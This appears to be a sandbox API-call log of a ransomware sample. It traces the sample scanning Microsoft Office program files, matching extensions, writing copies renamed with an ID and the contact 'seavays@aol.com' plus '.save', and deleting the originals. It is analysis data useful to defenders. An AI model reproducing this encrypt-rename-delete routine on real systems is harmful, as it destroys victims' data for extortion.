lstrlenW (lpString=".7z") returned 3 [0177.957] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.958] lstrlenW (lpString=".dbf") returned 4 [0177.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.958] lstrlenW (lpString=".1cd") returned 4 [0177.958] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0177.958] lstrlenW (lpString=".jpg") returned 4 [0177.958] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.958] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.958] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0177.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.960] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=19648) returned 1 [0177.960] CloseHandle (hObject=0x534) returned 1 [0177.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0177.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.961] lstrlenW (lpString=".doc") returned 4 [0177.961] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.961] lstrlenW (lpString=".docx") returned 5 [0177.961] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.961] lstrlenW (lpString=".pdf") returned 4 [0177.961] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.961] lstrlenW (lpString=".xls") returned 4 [0177.962] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.962] lstrlenW (lpString=".xlsx") returned 5 [0177.962] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.962] lstrlenW (lpString=".ppt") returned 4 [0177.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.962] lstrlenW (lpString=".zip") returned 4 [0177.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.962] lstrlenW (lpString=".rar") returned 4 [0177.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.962] lstrlenW (lpString=".bz2") returned 4 [0177.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.962] lstrlenW (lpString=".7z") returned 3 [0177.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.962] lstrlenW (lpString=".dbf") returned 4 [0177.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.963] lstrlenW (lpString=".1cd") returned 4 [0177.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.963] lstrlenW (lpString=".jpg") returned 4 [0177.963] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.963] lstrlenW (lpString=".doc") returned 4 [0177.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.963] lstrlenW (lpString=".docx") returned 5 [0177.963] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.963] lstrlenW (lpString=".pdf") returned 4 [0177.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.963] lstrlenW (lpString=".xls") returned 4 [0177.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.963] lstrlenW (lpString=".xlsx") returned 5 [0177.963] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.963] lstrlenW (lpString=".ppt") returned 4 [0177.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.964] lstrlenW (lpString=".zip") returned 4 [0177.964] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.964] lstrlenW (lpString=".rar") returned 4 [0177.964] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.964] lstrlenW (lpString=".bz2") returned 4 [0177.964] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.964] lstrlenW (lpString=".7z") returned 3 [0177.964] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.964] lstrlenW (lpString=".dbf") returned 4 [0177.964] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.964] lstrlenW (lpString=".1cd") returned 4 [0177.964] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0177.964] lstrlenW (lpString=".jpg") returned 4 [0177.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.964] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.964] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0177.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0177.966] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=22720) returned 1 [0177.966] CloseHandle (hObject=0x534) returned 1 [0177.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0177.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0177.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0177.967] lstrlenW (lpString=".doc") returned 4 [0177.967] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.967] lstrlenW (lpString=".docx") returned 5 [0177.967] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.967] lstrlenW (lpString=".pdf") returned 4 [0177.967] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.967] lstrlenW (lpString=".xls") returned 4 [0177.967] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.967] lstrlenW (lpString=".xlsx") returned 5 [0177.967] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.967] lstrlenW (lpString=".ppt") returned 4 [0177.967] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0177.967] lstrlenW (lpString=".zip") returned 4 [0177.968] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.968] lstrlenW (lpString=".rar") returned 4 [0177.968] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.968] lstrlenW (lpString=".bz2") returned 4 [0177.968] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.373] lstrlenW (lpString=".7z") returned 3 [0178.373] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82 [0178.373] lstrlenW (lpString=".dbf") returned 4 [0178.373] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[seavays@aol.com].save")) returned 0 [0178.403] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.403] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0178.407] GetLastError () returned 0x0 [0178.407] ReadFile (in: hFile=0x2a8, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xfa976, lpOverlapped=0x0) returned 1 [0179.030] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xfa980, lpOverlapped=0x0) returned 1 [0179.053] ReadFile (in: hFile=0x2a8, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.053] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10c, lpOverlapped=0x0) returned 1 [0179.054] SetEndOfFile (hFile=0x374) returned 1 [0179.054] CloseHandle (hObject=0x374) returned 1 [0179.054] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.054] SetEndOfFile (hFile=0x2a8) returned 1 [0179.305] CloseHandle (hObject=0x2a8) returned 1 [0179.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.668] lstrlenW (lpString=".doc") returned 4 [0180.668] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.668] lstrlenW (lpString=".docx") returned 5 [0180.668] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0180.669] lstrlenW (lpString=".pdf") returned 4 [0180.669] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.669] lstrlenW (lpString=".xls") returned 4 [0180.669] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.669] lstrlenW (lpString=".xlsx") returned 5 [0180.669] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0180.669] lstrlenW (lpString=".ppt") returned 4 [0180.669] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.669] lstrlenW (lpString=".zip") returned 4 [0180.669] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.669] lstrlenW (lpString=".rar") returned 4 [0180.669] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.669] lstrlenW (lpString=".bz2") returned 4 [0180.669] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.669] lstrlenW (lpString=".7z") returned 3 [0180.669] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.669] lstrlenW (lpString=".dbf") returned 4 [0180.669] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.670] lstrlenW (lpString=".1cd") returned 4 [0180.670] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.670] lstrlenW (lpString=".jpg") returned 4 [0180.670] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.670] lstrlenW (lpString=".doc") returned 4 [0180.670] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.670] lstrlenW (lpString=".docx") returned 5 [0180.670] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0180.670] lstrlenW (lpString=".pdf") returned 4 [0180.670] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.670] lstrlenW (lpString=".xls") returned 4 [0180.670] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.670] lstrlenW (lpString=".xlsx") returned 5 [0180.670] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0180.670] lstrlenW (lpString=".ppt") returned 4 [0180.670] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.670] lstrlenW (lpString=".zip") returned 4 [0180.670] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.671] lstrlenW (lpString=".rar") returned 4 [0180.671] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.671] lstrlenW (lpString=".bz2") returned 4 [0180.671] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.671] lstrlenW (lpString=".7z") returned 3 [0180.671] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.671] lstrlenW (lpString=".dbf") returned 4 [0180.671] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.671] lstrlenW (lpString=".1cd") returned 4 [0180.671] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0180.671] lstrlenW (lpString=".jpg") returned 4 [0180.671] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.672] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0180.672] lstrlenW (lpString="AccessR_Grace-ppd.xrm-ms") returned 24 [0180.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0180.677] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=20775) returned 1 [0180.677] CloseHandle (hObject=0x528) returned 1 [0180.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 0x220 [0180.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0180.678] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.678] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.897] GetLastError () returned 0x0 [0180.897] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5127, lpOverlapped=0x0) returned 1 [0180.900] WriteFile (in: hFile=0x36c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5130, lpOverlapped=0x0) returned 1 [0180.902] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.902] WriteFile (in: hFile=0x36c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x104, lpOverlapped=0x0) returned 1 [0180.902] SetEndOfFile (hFile=0x36c) returned 1 [0180.903] CloseHandle (hObject=0x36c) returned 1 [0180.903] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.903] SetEndOfFile (hFile=0x528) returned 1 [0181.390] CloseHandle (hObject=0x528) returned 1 [0181.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1 [0181.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.392] lstrlenW (lpString=".doc") returned 4 [0181.392] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.392] lstrlenW (lpString=".docx") returned 5 [0181.392] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.392] lstrlenW (lpString=".pdf") returned 4 [0181.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.392] lstrlenW (lpString=".xls") returned 4 [0181.392] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString=".xlsx") returned 5 [0181.393] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.393] lstrlenW (lpString=".ppt") returned 4 [0181.393] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.393] lstrlenW (lpString=".zip") returned 4 [0181.393] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString=".rar") returned 4 [0181.393] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString=".bz2") returned 4 [0181.393] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString=".7z") returned 3 [0181.393] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.393] lstrlenW (lpString=".dbf") returned 4 [0181.393] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.393] lstrlenW (lpString=".1cd") returned 4 [0181.393] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.393] lstrlenW (lpString=".jpg") returned 4 [0181.394] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.394] 